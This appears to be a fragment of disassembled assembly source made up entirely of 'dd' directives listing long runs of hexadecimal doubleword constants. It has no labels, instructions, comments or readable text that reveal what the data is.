		dd 6408D054h, 5800B8C0h, 824F7540h, 7288ECD1h, 0F6D7117h
		dd 0D6621BEDh, 77420320h, 8000EF8Eh, 0D4E8F129h, 1320C5D2h
		dd 31A2E410h, 6D298364h, 0E5884C6Ch, 0F80034A9h, 1204AACh
		dd 0CD25B975h, 0E859BEh, 0B02F0C22h, 591F3FE7h,	854B6520h
		dd 3270DAF3h, 0C951B474h, 106FFC5Eh, 540E5321h,	0E200907Bh
		dd 7ABAE0D2h, 0AB85A07h, 542E8005h, 74CCD715h, 0AA36008Dh
		dd 96518C08h, 35006165h, 38CA2877h, 5C9673Ah, 0BE92E418h
		dd 19B8D121h, 0C430046Bh, 181B152h, 63C2CDA0h, 285E1A14h
		dd 4B988714h, 92408BE7h, 2AECD9Dh, 0A1458E71h, 40685913h
		dd 0BC16FC33h, 0E88F88D5h, 0CE884621h, 40FCAE7Ah, 8D29BA48h
		dd 0C7B8B500h, 8820CFF2h, 241A493Dh, 99899440h,	0B24F0218h
		dd 606EB6BEh, 0E7AAA000h, 0A775726Bh, 2F7719h, 859A24CDh
		dd 0D4E4F3EFh, 0C0C8FB29h, 20E56E62h, 84D96967h, 0FF5D7201h
		dd 0A2BECC18h, 2217A838h, 3B60B643h, 0A3EF0023h, 8ED5219Ch
		dd 0FC8F2712h, 0B079EC3Ah, 47561200h, 2F97CADh,	0FD60CE63h
		dd 2461BF3Eh, 80CA0D18h, 0D9360648h, 1FB4B63Ah,	671C2235h
		dd 0A11694E3h, 7C019A16h, 0BED69B1h, 112A9007h,	67008C4Ch
		dd 0CF5B6EC4h, 64D62DB4h, 2377606Fh, 7C898531h,	89876C13h
		dd 71C492F7h, 0A22F12BDh, 0DE24F07Dh, 6222FB42h, 3AA80813h
		dd 10241032h, 58B2E8F0h, 58D4AB20h, 5B05A8CBh, 807DF638h
		dd 0FEB86798h, 0A880F320h, 19542728h, 49F20FA9h, 248C2B7Eh
		dd 63B9000Ch, 819CB66h,	561CC752h, 3CC3AFA0h, 0F970737Ch
		dd 0A84C5074h, 6BD989BFh, 0CA047040h, 0E75C78h,	0EA429995h
		dd 5B4647DBh, 97A25006h, 20B872A1h, 0DC09A523h,	98945601h
		dd 3884B00Ch, 6780CD8Eh, 8375065Ah, 66241C59h, 0CA71847Dh
		dd 7F627807h, 0C1BE0565h, 1A15A0h, 97F906ADh, 0CCC20C92h
		dd 0CC2C8051h, 44CF0909h, 9810B798h, 9C0463ACh,	0B189912Fh
		dd 74DAA580h, 0AFA501E1h, 0B86D919h, 0E415C8B2h, 0E2444A55h
		dd 0D7C40827h, 0D4C078E9h, 7FC7A202h, 1E9ABF01h, 1349B439h
		dd 403D4820h, 7A584FC6h, 0C0C98178h, 36DCC53Ch,	0DD6700A2h
		dd 4965A513h, 63092F0Ah, 5A8D116h, 44910E02h, 282EFD39h
		dd 0F7888C00h, 0BF8805FEh, 0A664D128h, 4E22B4h,	9008BCE6h
		dd 22DCF4DDh, 92009578h, 575DC44Ch, 3A37267Ah, 0FC067CDEh
		dd 394D423Fh, 5DF3AD02h, 4097BDEDh, 0F0757721h,	0C4330104h
		dd 794EB87Ah, 0A78984ABh, 0D4C870CDh, 0E7EB0717h, 139838D6h
		dd 73E7C2DEh, 0C10C654Eh, 0E1A49FBCh, 0B41058BEh, 842EE79Eh
		dd 8FA94900h, 0FE001587h, 0CCD5E5F8h, 5A66057Bh, 240308Ah
		dd 2D07A012h, 590A4657h, 0C8010930h, 62D010EEh,	0F00A5E9Ah
		dd 7443C8CDh, 1689011Ah, 3731FB53h, 0C8C22B5Ah,	80B20A1h
		dd 0C9009799h, 8A86D202h, 987C82E1h, 0F8FA20BCh, 88B0E740h
		dd 0D09B4DDh, 8B6F72ECh, 0E2C41118h, 1196E8h, 0F2F65178h
		dd 0FF06C2D5h, 0F8693709h, 0D9810053h, 0BC654FD6h, 86898734h
		dd 6FF002A0h, 6A7E490h,	2181CC00h, 2CED07BFh, 0FC9EF67Eh
		dd 2A420945h, 0C02B9AD1h, 0BF0C6882h, 20227922h, 96F3D816h
		dd 0B4BF579h, 0BF088004h, 1620BC22h, 45F038Ah, 32B2279Bh
		dd 249CB4F8h, 0FC942C50h, 0F852ECA9h, 0A8FE858Fh, 0E60034F4h
		dd 2DB66012h, 5B7ABD7Bh, 0E9B4C46Bh, 0B5D6C0D0h, 1546EAh
		dd 53759FCFh, 0F80CEAAh, 4C1AD24h, 0A50E3186h, 90109F31h
		dd 0A9127D08h, 0D013288Ah, 0EC1D64F2h, 0F48152AAh, 6CA97850h
		dd 0F02A08CDh, 0DC2995BEh, 310F9876h, 504C14F9h, 0CE138234h
		dd 5488E5B2h, 7F4B000Eh, 719DB7FDh, 1F01CBA3h, 0EDE7E609h
		dd 51F08E93h, 424B3867h, 16745E9Eh, 0CA6C90D0h,	8601117Ch
		dd 71CED144h, 7830ACD2h, 7D4486F2h, 70AB4C08h, 6CCE24C0h
		dd 0B45EFEBDh, 0B04E1488h, 0C898006Ch, 0FC97183Dh, 8805238Bh
		dd 0D3509946h, 6845CC09h, 9A9BE4h, 0C319DEA2h, 0DCEC57Ch
		dd 14415D2Fh, 2C999F5Ch, 3013D4E3h, 0FAED5300h,	0F43ED0C1h
		dd 4F7200D1h, 20ECC982h, 34010DB3h, 0F8164A3h, 356EF9A8h
		dd 0EDCD00D0h, 98AED0D5h, 1AF8E8A8h, 38219F84h,	0DCF42DD4h
		dd 0F0F4D205h, 7C5C2B01h
		dd 0BCA829Bh, 3EBF5C20h, 0A5966AAAh, 0A38416F9h, 0B4BE0020h
		dd 45A03ADDh, 0C9E500FBh, 7808AE7h, 0DF0049B7h,	465AA843h
		dd 0B0D32DDEh, 0E978D1h, 677BA7C0h, 0B84CFAD0h,	3404AC01h
		dd 5CA9F86Ah, 45CDD460h, 2C4637Ah, 47F08B4Fh, 0B4BDE0BFh
		dd 6DC163Eh, 3120D3ADh,	8840ECDCh, 6542C1F0h, 0D80C215Ah
		dd 8D00F972h, 681267FBh, 3CA79F92h, 0DC048BD4h,	0AE3F1C82h
		dd 98080D84h, 33378308h, 86902CF9h, 22092134h, 0E0B3AF96h
		dd 88010F88h, 0ACA8B86Eh, 3C00AC68h, 0F30B96A4h, 0CC822Fh
		dd 391F5913h, 0B815AEA0h, 800C9D2Dh, 0E51BF64h,	34D0C599h
		dd 8C00AD81h, 612895h, 8BAB792h, 7B902D3Ah, 0C8107202h
		dd 0C606D187h, 983CEBBCh, 75A751C0h, 0DE07427Ah, 5FA8A580h
		dd 7AFA117Ch, 40A89412h, 854DB2Eh, 9D88D1Ch, 3C0C1A01h
		dd 0B3C0BA87h, 66340364h, 0BC2CD78Ch, 0D24D67B0h, 35F2DBFFh
		dd 5C4B27C0h, 0C5A06E1Fh, 0E4D74Eh, 8A3E338Eh, 52D10FA1h
		dd 18800A1Ah, 314ECFC7h, 5A007A77h, 884B28Dh, 0FDFF206h
		dd 0CFFE0788h, 22CBB0A0h, 9CB7D96Fh, 3B6E1694h,	300BAF5h
		dd 3E54FDEFh, 0B815F62Eh, 3295EE4h, 0F5E4F938h,	2164EBA0h
		dd 0C2A80411h, 2A176C01h, 69295C63h, 71CC2510h,	8F600810h
		dd 209775BEh, 0ACB2204h, 674E1355h, 0BEEC2013h,	0F502B5F8h
		dd 6458B175h, 21B0E06Fh, 0B82F9542h, 52808800h,	9700A99Ch
		dd 0ACFEFBA8h, 25BC0EDh, 0BD50D4F1h, 0B464424Eh, 0B7B1A00h
		dd 21F989E6h, 0BEDE0B2Ah, 7CC81635h, 548A38FEh,	34536074h
		dd 48033574h, 0C20DBAB4h, 0B7302F72h, 3345ACC4h, 24E4212Bh
		dd 9BFBF413h, 0D6489900h, 7245D5ADh, 0C8B1AEh, 0BA624F5Dh
		dd 7100B5B8h, 0D6F9EE6h, 178374E4h, 1459FA06h, 0C8D36884h
		dd 163D6B84h, 0C07880D6h, 0D7CC96F5h, 4484B562h, 0FB78C827h
		dd 9F32BE01h, 72C18856h, 0CFC0807Ch, 794AF77Ah,	3EC8EF52h
		dd 0A7104C8Ah, 868E1B00h, 7C3C4C7Ah, 3119AC30h,	91B7A543h
		dd 19BC66B8h, 88BFF800h, 46BE55B3h, 7CC46248h, 33B19509h
		dd 0D06C41F6h, 0F248403Bh, 0D46F6EC4h, 6123340Ah, 140BE2E0h
		dd 0BB6CA1E7h, 606FB6B2h, 0ECD0B050h, 1A3CD0F5h, 2DC6D600h
		dd 0FDA58F09h, 24CA0B28h, 6ADF96h, 0BCF05082h, 2CB05C66h
		dd 0E680A896h, 0BB3801D4h, 318100BDh, 984B9B0h,	0CC035FD2h
		dd 9FFC9686h, 0F4D03B89h, 0A4883AC1h, 1C060017h, 77576781h
		dd 0B4A9EC83h, 0F4676AE7h, 3ED1D5B6h, 0B0447874h, 2458388h
		dd 0F180DB68h, 0F0F8C17Bh, 8D957888h, 0E2737D2Ch, 712C2300h
		dd 1A551C75h, 0E0413592h, 0E105DA63h, 0D7901CBh, 0FEF0C082h
		dd 23F58814h, 291CFA42h, 1E0088E4h, 0F7FEF4B4h,	1690115h
		dd 6255F5CDh, 60CB4F27h, 4209DC98h, 71C614F6h, 29800BC0h
		dd 0FC3B64B9h, 300433Ah, 0FE449072h, 5A1B05ECh,	0BE6C304Ah
		dd 1918CF93h, 0CE80747Ah, 1C00046h, 522E7103h, 6502D1A4h
		dd 519ABB8Ch, 3C5177h, 0F3124380h, 0D700C8EBh, 2373346Bh
		dd 424FFAh, 0EA037D51h,	0BCEF01ECh, 64C42600h, 1035C031h
		dd 68C90F98h, 7CEF034Eh, 87768A81h, 18302F8Fh, 5E9B59BFh
		dd 0B24C80D9h, 2BBFEF6Ah, 9D08D0A8h, 0C96120C7h, 52DE4A82h
		dd 37160980h, 6082D7D2h, 0C872C238h, 0C70B2442h, 0B1878D53h
		dd 630209BDh, 0EC41F6ECh, 4FA614Fh, 8E30E824h, 155DA0BFh
		dd 0D57DEh, 6CFC4EE0h, 8AE3CEE6h, 28BEE804h, 0C091D713h
		dd 8C397035h, 9117AC3h,	51D2CDC8h, 0DDC5EF00h, 0B9C15289h
		dd 74B077h, 3D9D8663h, 0C4712B7Ah, 0B15B7604h, 22EBF932h
		dd 8E10E744h, 17B51CF2h, 3EA04921h, 21184405h, 286DD0B0h
		dd 924C8884h, 0CF603008h, 694DCE42h, 102D2700h,	9A6CC0h
		dd 0D4498E22h, 2654766Ah, 4681AE00h, 6911EA04h,	0D6B63E20h
		dd 5EEE8600h, 9D0143E0h, 25FADAEEh, 0B9420C6h, 34870029h
		dd 8C60D936h, 0CBE67EF9h, 0EB327700h, 0EA114BE3h, 40F1004Ah
		dd 0B62A8770h, 0D300D0CCh, 0FA5268F5h, 0FE699B81h, 510F60E2h
		dd 22FF2FE8h, 1824A00h,	9AB13532h, 0D9A203BDh, 0A8B20C7Eh
		dd 3D525C2h, 9CA49Dh, 619DF638h, 0A3C6BE3Dh, 91F51400h
		dd 0F4B21E33h, 65D831FDh, 0E8A52068h, 0B6782784h, 0D31091Bh
		dd 9068C019h, 4E730FC5h, 7103697h, 8594F423h, 0CD5F1160h
		dd 9DE23047h, 0AB42EE31h, 0E11D08F6h, 2E43DD34h, 19F4B0Fh
		dd 761B1620h, 800EEBC4h, 0D64DAA31h, 0AB776Dh, 5845C06Eh
		dd 2BD1B040h, 0E6E52200h, 23D6B32Eh, 8B562821h,	0A5A9C0ADh
		dd 0FAEA1409h, 0A1FE300h, 0F8305F59h, 1131187Dh, 522613Ah
		dd 9E3D6B7Dh, 51A50CDAh, 2A9841B4h, 5294BEB9h, 1B00DCE3h
		dd 0D53B3523h, 6158BD04h, 59540F78h, 7AC5C70Fh,	8E913C30h
		dd 0D3A6149Bh, 220F88B5h, 34C0132Dh, 0C563C278h, 4E8E506h
		dd 7952B3h, 0E7963D16h,	40F3ED2Eh, 71C0EB79h, 310A9B71h
		dd 1A130551h, 4007F5CAh, 0FE239758h, 3500D869h,	0B4D2AAF3h
		dd 0EE36CCh, 93E7EF48h,	0A398F15Eh, 1BA61C02h, 41C0808Ch
		dd 61839E3Dh, 54F12627h, 6DBBE804h, 0B81B2BFFh,	0DE968090h
		dd 0EBA4440Ah, 0A7438C81h, 1600F49Fh, 0AFD20F3Eh, 0CD83AD01h
		dd 62F1D6ABh, 931112D3h, 0C5181025h, 993B7160h,	6828CC2Ch
		dd 433E3405h, 61CBFC6Eh, 0A51D800Bh, 0CFFDC2h, 0B07B39F7h
		dd 0C01D9DF2h, 5CAE9607h, 25268909h, 39866032h,	643EF2D0h
		dd 0D10D3A0Eh, 0EB51411Fh, 20B8D5E2h, 0E32980B0h, 0A4055D26h
		dd 2544833h, 5030D437h,	385A5Fh, 87F2DE14h, 3EA6410h, 6F93DB0Ah
		dd 851084EFh, 468BB884h, 0F8E11CA5h, 4AC43D68h,	4109093h
		dd 80E2AC86h, 3DF0790h,	0D8F7430Ch, 0E81398Fh, 6C64E9F4h
		dd 88835381h, 0A518301Ah, 782A9C40h, 670800ADh,	0E883C28Bh
		dd 280EE2A2h, 60B2F3BAh, 0FC1E020Eh, 6DACA082h,	6859CF8Eh
		dd 46325B60h, 5400CAB9h, 6D2FF6F2h, 0C84DA0Eh, 0B5B682FEh
		dd 0FD009DC9h, 3F4CC151h, 7F4AF1FCh, 7D5F00F4h,	8E365C58h
		dd 67030327h, 97A6292Dh, 543976B3h, 1F469C85h, 0E6CC513Ch
		dd 241F000Dh, 65622139h, 17779D00h, 0CCB71225h,	1FFF0BAh
		dd 28135A09h, 32E6E8EDh, 2FA2009Ch, 30F7C9E9h, 28910634h
		dd 0D18DDFA9h, 88023503h, 0FDB0E463h, 1B3E7E80h, 0D44D00B3h
		dd 0F89DEF6Ch, 43540F7Fh, 0D3037B9Ch, 0BD740486h, 21A28FDDh
		dd 0E019E315h, 45672A4h, 2EBB0529h, 9EA48013h, 5501D73Bh
		dd 0B5A2977Fh, 99809FCEh, 0D36BA1Ch, 0FD3E22F7h, 242D0002h
		dd 3989961Bh, 11A1C192h, 82BCCCB3h, 45B8F5E0h, 0DD7C4030h
		dd 6EBE24C6h, 0B46B4014h, 0E03710Fh, 25312EF9h,	5068566Ah
		dd 1DC2EA7Ch, 18993E18h, 1556A82Bh, 64C9A80h, 5C13D507h
		dd 0E1B31CDh, 0AF61990Dh, 54002DF5h, 0EFB86B41h, 0C0E248C8h
		dd 300C6E87h, 0A573BA06h, 0ADCA7500h, 0B0DDB47h, 0EA270F57h
		dd 16C27AE1h, 5C8EB498h, 41F540E0h, 0C6F03F4Ah,	58807890h
		dd 84A46E98h, 0F4B9E05h, 92808ACCh, 98424AA4h, 17CA0050h
		dd 0B993AF5Dh, 290141F1h, 7AA75EE7h, 71DD263Eh,	0A0BB4094h
		dd 10400E30h, 653C95F8h, 4E770046h, 0A5F222C9h,	0EC09150h
		dd 0F903FA6h, 803CD0B1h, 0E4E349E1h, 1DECA46Eh,	892A1C93h
		dd 148D1BBFh, 8422E940h, 9CB1BCB9h, 87E90A1Fh, 39112Ch
		dd 587284A7h, 92F84B2Ah, 0E34620A0h, 404C6828h,	0C52357Ch
		dd 9A22E4h
		dd 0BB9BE3Ch, 5CD41992h, 9E976700h, 0A931E243h,	967A1453h
		dd 6E10B417h, 0EC1E808Ah, 0A7682Ah, 6473DF23h, 4408314Eh
		dd 26588E64h, 0F6020880h, 285C90DBh, 1870529Ch,	8915F947h
		dd 32005957h, 0E667EDDFh, 0B01334B3h, 37650CEDh, 0B6711231h
		dd 4229431Dh, 81BF888Eh, 0CE4E520Bh, 80D899BFh,	4EC8CDB3h
		dd 2249D79h, 907B967h, 604F5C8Ah, 0D33CB9DDh, 183FE86Bh
		dd 6893D8A7h, 75326328h, 0E396C0C3h, 0FC4E980Ch, 0BA57D1Fh
		dd 40ABF084h, 43645A80h, 57132083h, 27142415h, 82559C5Ch
		dd 7F3503ACh, 0D8A2F55Bh, 0C168B97Ch, 2F8FF820h, 4807DD16h
		dd 1C5835E0h, 0F3268774h, 9688173h, 7B38310h, 8D1F3402h
		dd 28015CE4h, 3092B97Eh, 0D4207227h, 96C03CFh, 0D3F01359h
		dd 0D0ABCCA0h, 1F4DC700h, 789024B8h, 96CF0948h,	1030D218h
		dd 0B6178F23h, 2C44162Ah, 0A6449895h, 0A79CD0D0h, 0EB045BEFh
		dd 0D981286Eh, 2919F81h, 99605823h, 831CA440h, 6D9811C2h
		dd 0F0E0A281h, 5C05C054h, 0E0241E3Fh, 89F1F0EBh, 0DC0E3648h
		dd 0E068AF0Fh, 9824B45Bh, 0F8180112h, 34D87A9Ch, 0B04B3Fh
		dd 4ACE0AC1h, 0F1664956h, 3568CC64h, 1CB98304h,	0BE112178h
		dd 28DFA600h, 5447B1C5h, 0F4362E2Ah, 48074F7Ah,	78522BA1h
		dd 0CBB5A391h, 1E14B032h, 0BD84C0BBh, 0B5A0D36Dh, 4242D6A1h
		dd 6220CF9Ch, 26317393h, 40F4DA8Eh, 192F534Dh, 9B2D8900h
		dd 0C9D2097Fh, 141E46Eh, 0F8672C91h, 6089E733h,	0A4834ACh
		dd 9D238E08h, 0D00F1ECAh, 8B8E1C88h, 0A00742D1h, 0B4ABC1B8h
		dd 321980BDh, 0CFE7C1A1h, 814060DAh, 0C374D3DBh, 8D0756F2h
		dd 0D048012Eh, 6B1B1170h, 0B468098Bh, 0AC0240F0h, 0D10498FEh
		dd 0E75E1481h, 87BFB601h, 53578F61h, 1F80C1E0h,	8D7643h
		dd 0D658AB91h, 7DF4821Ah, 0F683309h, 3701038h, 313B89F9h
		dd 0FC9C0050h, 1E29F0B8h, 0A306AC8Ch, 502990D0h, 0A872E250h
		dd 0F56813Ch, 95796323h, 2ADAA560h, 8B03E470h, 0A8B2BA86h
		dd 93F8B054h, 4C20ED75h, 13113134h, 40066851h, 0F94A4034h
		dd 8A199315h, 0E1C11B8h, 80209671h, 63227B9Eh, 0FB7135E6h
		dd 0BD259600h, 0EBB8F37Fh, 3443281Eh, 84D1E25Ch, 72951D07h
		dd 0F84F1596h, 0C4888190h, 42170E69h, 913A4D68h, 20D20790h
		dd 0F1CC02EAh, 30B0195Ch, 10611989h, 199EECFh, 0A4D2663Ch
		dd 0FE215EBDh, 0F73C5450h, 0D9B9E0B3h, 26196008h, 60A0306Ah
		dd 3F372E46h, 0FCEF4A24h, 0DF630582h, 94D068F2h, 7988A692h
		dd 0DD22880Dh, 209B1631h, 0AC4454E9h, 0FA0094A3h, 15BAD2E5h
		dd 4149D9F0h, 6E00F38h,	0B200962Eh, 215F3C19h, 0A6020046h
		dd 0BD483693h, 3216F33Dh, 0E8005EF5h, 0DD053CC7h, 94F801h
		dd 2F417AAEh, 0FAB8F74Bh, 3893C648h, 0CAF580C3h, 36A2857Dh
		dd 555302BAh, 8E744C30h, 2D16A859h, 9F94EE00h, 289A9BCh
		dd 5E852B3Ah, 0A0C13B29h, 7C821586h, 2690906Bh,	0C746002Fh
		dd 5F4F5D42h, 0C800D03Ah, 0AAC5E401h, 1F44ADh, 8F1E787Fh
		dd 0C2438BB0h, 80EC3Ch,	0DB6819DFh, 4E6366Bh, 0BC539941h
		dd 90E3099Ch, 1B6774h, 0AB812349h, 6BD71CFBh, 72D94B00h
		dd 6E578D24h, 28049059h, 94D0B7DEh, 84ED4034h, 7900A3B0h
		dd 3674CE9Ah, 129EE60h,	0F4137CFBh, 2226517Ah, 21F84CD4h
		dd 31071639h, 720C0F2Ch, 97033BC0h, 88201F2Dh, 0C06B9EBh
		dd 0BCB67BEEh, 610E0179h, 0BF2611B2h, 1E7D4500h, 3EBDD7Ch
		dd 3587E44Dh, 0E29F73EEh, 0A0452030h, 0CA25DD80h, 0E92B240h
		dd 6421646h, 20902D2Ah,	94A52644h, 5709419Ch, 29BA717Fh
		dd 0BB3EB8h, 92520618h,	99D8091Ah, 793E0B68h, 0D57C7B00h
		dd 0A20077B8h, 0E8DFF19Fh, 322BE531h, 7650D8A8h, 9DF48C66h
		dd 0C89A830Eh, 80FC3434h, 0DE6F2E45h, 3AA0A863h, 0B441CFDh
		dd 1E9DC7h, 0C0E2CFB4h,	0BC14CD25h, 4C8CA3CBh, 542E0789h
		dd 304CD7BEh, 39F0623Ah, 6640246Ch, 0DB00A655h,	2DE3A3BBh
		dd 1E6A8C73h, 0C0F35AC5h, 916C4349h, 0C6FC629h,	0EB0E5148h
		dd 0C3603233h, 348A367h, 0A26FF805h, 0F68008C5h, 9C31A7h
		dd 44198875h, 0ED36266Ah, 814E1C00h, 0F8CC8F0Eh, 2E88C141h
		dd 0D42F5ABBh, 99135BA2h, 0C9009209h, 2DB0648Bh, 21B1C062h
		dd 82B38FFEh, 0C3E2DA03h, 1E3EECFFh, 98184440h,	798E2960h
		dd 950F1EB0h, 5AA9A1h, 4342AC64h, 3AC318B3h, 837929EAh
		dd 8C531200h, 0CB1C208h, 0E0561FA3h, 9E2D4CB7h,	720077E9h
		dd 80E74008h, 0C69547E1h, 215F2D18h, 0C2FC5926h, 0E168D400h
		dd 0FCEE02ADh, 1B433118h, 9F6FF969h, 0D6809FE9h, 0C08D39F5h
		dd 18191CD5h, 0A75DC147h, 8F4F7926h, 65721B0h, 4063DFh
		dd 0E806A0EEh, 722BB7Dh, 74AB1F28h, 542D6418h, 3F5F0989h
		dd 399C8389h, 51238FA6h, 0BEAD5BA3h, 80908F80h,	0A2A18900h
		dd 0DA3EE0E2h, 0CBBF188Ah, 2CC241C3h, 1C18640Ch, 11056121h
		dd 0EBF96Bh, 5F6A50C2h,	1FBE83CDh, 0C0E14AAFh, 82514227h
		dd 7B14EA16h, 1DF815DAh, 1880092Fh, 9B54587Dh, 5780A853h
		dd 51C2628Ch, 0CC8081EEh, 4620A324h, 7980A21Dh,	589A4C00h
		dd 60224307h, 18673959h, 7CA0E8D9h, 0C04019E1h,	2C600024h
		dd 143D7E92h, 53008C82h, 42991075h, 12C357h, 0E6656073h
		dd 509392C2h, 0DA167000h, 1787EF3Eh, 82F70F6Bh,	45E0274Bh
		dd 1ADE18BCh, 0C4FF69C3h, 1A1FA40Ch, 0E803B91Dh, 0D1383665h
		dd 603AC4B3h, 4D6421FCh, 0BE749AE6h, 9C657109h,	3A5B0020h
		dd 1877BF98h, 40BB0B79h, 0BC067AEDh, 0B02A6736h, 0A48D0049h
		dd 0DFDB7D94h, 53002DDCh, 7BFE6779h, 3440EAh, 0B5D035FCh
		dd 0C0850DD2h, 92549E02h, 87EF3A32h, 3D3047C8h,	0BCDFB1h
		dd 284D26ECh, 0FE978C64h, 0D120D830h, 4814940h,	0A0218D7Eh
		dd 0A2A488AEh, 1E633922h, 940208A7h, 5508C899h,	578FA998h
		dd 227C54A2h, 42B30025h, 304F6128h, 291226A3h, 682156A7h
		dd 0C1042077h, 521DD9EBh, 0A0922AE0h, 19B16560h, 3B77C600h
		dd 4BA2468h, 3C8000ACh,	0BFB95389h, 4F0A1921h, 0A02244ECh
		dd 3AD9DE80h, 9903A5B8h, 0D8560014h, 7F9821C9h,	0E1E40D51h
		dd 0D1AB10B4h, 35CB1296h, 0A240C3Dh, 0B7AF619h,	69C0CF02h
		dd 0C1F49C09h, 63F65D02h, 0D8FBC020h, 0B87048A3h, 77ADEAC0h
		dd 84021C65h, 41A8B36Bh, 0BE8680BFh, 1CE445B7h,	0E9985BB2h
		dd 481B1194h, 8FEF38F1h, 0FB675Fh, 430FDF5Ch, 1286FEAEh
		dd 421DE254h, 28B7F030h, 0E721B090h, 828B8F09h,	2C8088C4h
		dd 4100FD11h, 780F6939h, 95009F01h, 0EB147C1Bh,	552D1CAFh
		dd 0FED1C0A7h, 242E7FCh, 4678B2BCh, 14C065FFh, 0A5215731h
		dd 27116Bh, 0D00A7339h,	0E858014Bh, 8F9E0030h, 0B3531415h
		dd 4C482B97h, 23480634h, 415929h, 341A3EB9h, 6CF3768Eh
		dd 6E78BC01h, 0E186CD11h, 6100AC22h, 29D251B8h,	50E6B2F1h
		dd 389B8F24h, 0FF987103h, 0EC2085A5h, 0E319FE3h, 5AB8EA1Ch
		dd 0C86DF867h, 76EF8800h, 359E8B6h, 7237EFBh, 392CF140h
		dd 0F54034F9h, 3EA5A60Eh, 730023FDh, 0A094D3F8h, 91DF83E1h
		dd 0B845E402h, 0E406C4Eh, 8407E064h, 0BBA224C0h, 31C030E1h
		dd 0DE333B20h, 0A1B61345h, 0D90445CBh, 402800BBh, 0A08D8EEDh
		dd 1CE41878h, 6099656Fh, 0F3C9608Bh, 4460B057h,	4061F9FEh
		dd 32044B79h, 0EE41EADCh, 5EE5Dh, 0E9D58091h, 0D7B5706h
		dd 3481A724h, 2D03C711h
		dd 0FAF3E6B6h, 92C81802h, 84374B80h, 68CCC0FCh,	81168466h
		dd 430FC6Fh, 2427ED4Bh,	0E7ACEAD8h, 2434208Eh, 5F1EF5AFh
		dd 0B18081E3h, 0A113802h, 7D9C00EFh, 4D5BFDBAh,	7EF2712Eh
		dd 3B4511C3h, 790D8849h, 8A68C05Ch, 318682ABh, 0E86A91C4h
		dd 200FC882h, 2279CF1Fh, 7F2996C0h, 17D2870h, 81760A20h
		dd 6A5E1B31h, 0E03B2BE0h, 2543077Ah, 33A5178Ch,	70002EE7h
		dd 5303C62Bh, 828FF0ACh, 13189CB9h, 5A968804h, 9D0200A5h
		dd 23C4334Ch, 0F305323Ah, 8C81E40Bh, 3FC15400h,	0E0C8C0h
		dd 9A43A0A1h, 758D2884h, 600689Ah, 0C8C7AD09h, 0CE6296h
		dd 564EBFFAh, 0D61329A5h, 0F8A37D0Ah, 2B83F0A8h, 0C00AE506h
		dd 4CDE95C9h, 8702B247h, 0D6F8DC1Ch, 6400B789h,	3DFE7C9Dh
		dd 0BF236D04h, 10C00DA2h, 2407A899h, 4118F8A0h,	0CCFB9817h
		dd 6600BF0Dh, 249E53BBh, 7167888Eh, 8CF7340h, 8B4579A3h
		dd 8A995705h, 0A1548843h, 8D4918AFh, 50A4D118h,	35983000h
		dd 0B7246E31h, 839401AEh, 45780210h, 94722Ah, 0D3083F17h
		dd 0C054F915h, 73E7BE49h, 0CB3A647Fh, 0A0BA5Fh,	0CCE22B76h
		dd 359E2F51h, 8D88A88h,	0FF891A48h, 415419D7h, 3E1A2F08h
		dd 2030E752h, 0C123F63Ch, 9ACA28B1h, 98700A88h,	42F431E4h
		dd 0A724629Eh, 4AA02CC7h, 48AA99C0h, 3A185C55h,	5FA421F3h
		dd 53ADB200h, 0B314514Fh, 0C50031Ch, 0C630E738h, 0F07505B8h
		dd 13333203h, 97BCA25Ah, 39B5C700h, 5442004Dh, 849F65DDh
		dd 9B0FE372h, 800C318Eh, 5B27437Ch, 0AC5700D9h,	2BF4DD19h
		dd 0A50081E7h, 0F3B996E6h, 7A2D992Eh, 7D32009Ch, 0F0AD115Ah
		dd 6000AE78h, 0AB0B9A36h, 95E493h, 534A3DB8h, 0C258D820h
		dd 9B69DD00h, 0FB1F1164h, 0E28E002Bh, 0EDEE5425h, 0B8029039h
		dd 8312E4B0h, 344EE024h, 112B0CB7h, 0E51125ABh,	0CD13951Bh
		dd 0A018A828h, 3994637Bh, 52A8B1D8h, 86001759h,	0B3CB16FEh
		dd 0C1BFCCCAh, 7AAEE20h, 0A13086B6h, 3039CF43h,	8651937Ah
		dd 0A0799C2h, 0DFBAC794h, 289DCFF0h, 0E76700A5h, 527A6B05h
		dd 0BE633827h, 0F868B3E1h, 1847A33Bh, 19A7ABD9h, 0D20246E9h
		dd 89EACF9Bh, 0C904404Bh, 0C159031Ah, 0EF56AFB4h, 468EB900h
		dd 0AC3EDD6Ah, 1F741Eh,	630791F2h, 0F9D6FC70h, 6A2A4700h
		dd 0B68AAB60h, 45D70038h, 0CE112837h, 0C5E8517Bh, 0F702FA71h
		dd 5B29BE58h, 149482CDh, 0A0AF20C3h, 3588267Ch,	0BA5D0142h
		dd 0CAFEC036h, 0A8199F9Eh, 673407C3h, 9616F023h, 0EADC0F4Ah
		dd 0D9D8AA35h, 2101C448h, 0D98E76F1h, 32E0342Eh, 61FF3842h
		dd 94F43F01h, 8CB7A21Dh, 39ACAB30h, 2CD47F68h, 8F4071h
		dd 0FD63CC08h, 5800FFD7h, 5ABE8DEh, 0E8163D48h,	0EFC8007Ah
		dd 9524F8CDh, 443C7D9Dh, 0A47F1EBDh, 838ED203h,	6049B85Fh
		dd 62071E9Eh, 8D1940B5h, 0EB841672h, 0F9F5D800h, 339F13D2h
		dd 0CD1E82Eh, 815AFCE2h, 0AD00A450h, 64F70C22h,	3407DBEBh
		dd 0C761F458h, 0C33E4013h, 9F0C9128h, 11A54013h, 9EAD073Fh
		dd 10FE1A61h, 0F7BE89D0h, 0D54039DDh, 0DE772673h, 0BAB70011h
		dd 17FDACE7h, 8C904961h, 0D0C69DF2h, 0D99CA6h, 0ED5A399Eh
		dd 4310F65Fh, 3A0021DFh, 1180B8FBh, 3276A3h, 0D1E3E1AAh
		dd 8A788FCAh, 4114FA01h, 90971F7Ah, 4389198Eh, 83344158h
		dd 78DC9F00h, 0DFB34A0Dh, 9D37EA7Ah, 0FE09F5E0h, 9A1AE61Ch
		dd 0FB3B3A42h, 880C8060h, 0C29EE27Ah, 8708E048h, 778698AFh
		dd 8EF8E87Eh, 78304978h, 734A117Bh, 7FDE3FADh, 191C0198h
		dd 4639153Dh, 0CABE6Eh,	0F5B22285h, 58A70188h, 0DE0715A4h
		dd 9777C219h, 791DC3F6h, 0DC27512Ah, 30F4B233h,	0EB91BE16h
		dd 7C1310FEh, 0E31DD88h, 10ED2DD9h, 3500C855h, 88E2AE1Dh
		dd 29C04774h, 16FB0215h, 0BE3F1046h, 0B9E07CCCh, 8A09B203h
		dd 0B84A6DBFh, 36C66ADh, 0C55D5C0Dh, 56004EC8h,	3090C298h
